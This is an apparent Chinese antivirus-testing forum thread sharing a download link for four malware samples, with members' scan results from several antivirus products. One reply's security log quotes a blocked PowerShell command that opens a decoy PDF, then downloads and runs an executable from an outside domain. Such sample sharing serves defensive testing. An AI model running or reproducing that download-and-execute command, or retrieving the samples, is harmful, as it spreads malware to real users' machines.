x4 (2023-09-05)

显示全部楼层 · 发表于 2023-9-5 16:07:19

https://krakenfiles.com/view/USKJMgU23s/file.html

显示全部楼层 · 发表于 2023-9-5 16:17:35

本帖最后由熊小度于 2023-9-5 16:22 编辑

sophos Miss all......

submitted

显示全部楼层 · 发表于 2023-9-5 16:31:48

火绒
扫描：MISS ALL

显示全部楼层 · 发表于 2023-9-5 16:38:53

Kaspersky scan MISS all

显示全部楼层 · 发表于 2023-9-5 16:53:34

360杀毒扫描日志

病毒库日期：2023-09-05
扫描时间：2023-09-05 16:52:27
扫描用时：00:00:20
扫描类型：右键扫描
扫描文件总数：4
项目总数：3
清除项目数：3

扫描选项
----------------------
扫描所有文件：是
扫描压缩包：是
发现病毒处理方式：由用户选择处理
扫描磁盘引导区：是
扫描 Rootkit：是
使用云查杀引擎：是
使用QVM人工智能引擎：是
扫描建议修复项：是
常规引擎设置：

扫描内容
----------------------
F:\360SANDBOX\SHADOW\9\4

白名单设置
----------------------

扫描结果
======================
高危风险项
----------------------
F:\360SANDBOX\SHADOW\9\4\3.exe Win64/Heur.Generic.H8oAs8oA 已删除
F:\360SANDBOX\SHADOW\9\4\1.js virus.js.qexvmc.2 已删除
F:\360SANDBOX\SHADOW\9\4\2.vbs virus.vbs.qexvmc.1085 已删除

可疑文件上传结果
----------------------
f:\360sandbox\shadow\9\4\2.vbs 上传成功

显示全部楼层 · 发表于 2023-9-5 16:59:03

高级威胁防护阻止了一个恶意进程。进程路径: C:\Users\苏敬轩\AppData\Local\Temp\Nqpfj.png. 威胁名称: ATC.SuspiciousBehavior.5735C32274609735.
实时防护检测到恶意命令行的执行。进程 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 被阻止, 由于执行了恶意命令行"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $r = 'start msedge https://247info.click/ofertaprezi.pdf;cd $env:TEMP;powershell iwr -Uri https://247info.click/hgsuhfs.jbb -o ff.exe;Start-Process ff.exe';iex($r)
C:\Users\苏敬轩\Desktop\4\3.exe 是恶意软件 Gen:Suspicious.Cloud.2.@FZ@a0X3!9m
C:\Users\苏敬轩\Desktop\4\1.js 是恶意软件 Trojan.GenericKD.69090905

复制代码

显示全部楼层 · 发表于 2023-9-5 17:03:32

本帖最后由 hhhq316 于 2023-9-5 17:18 编辑

蜘蛛扫描Miss
双击
1、3Miss
2杀衍生

4阻止

显示全部楼层 · 发表于 2023-9-5 17:05:46

swizzer 发表于 2023-9-5 16:59

一位不愿透漏姓名的苏敬轩同学

显示全部楼层 · 发表于 2023-9-5 17:17:36

360剩余一个4.bat

显示全部楼层 · 发表于 2023-9-5 17:22:25

hhhq316 发表于 2023-9-5 17:05
一位不愿透漏姓名的苏敬轩同学

随手编的假名

[病毒样本] x4 (2023-09-05)

本帖子中包含更多资源

本帖子中包含更多资源

评分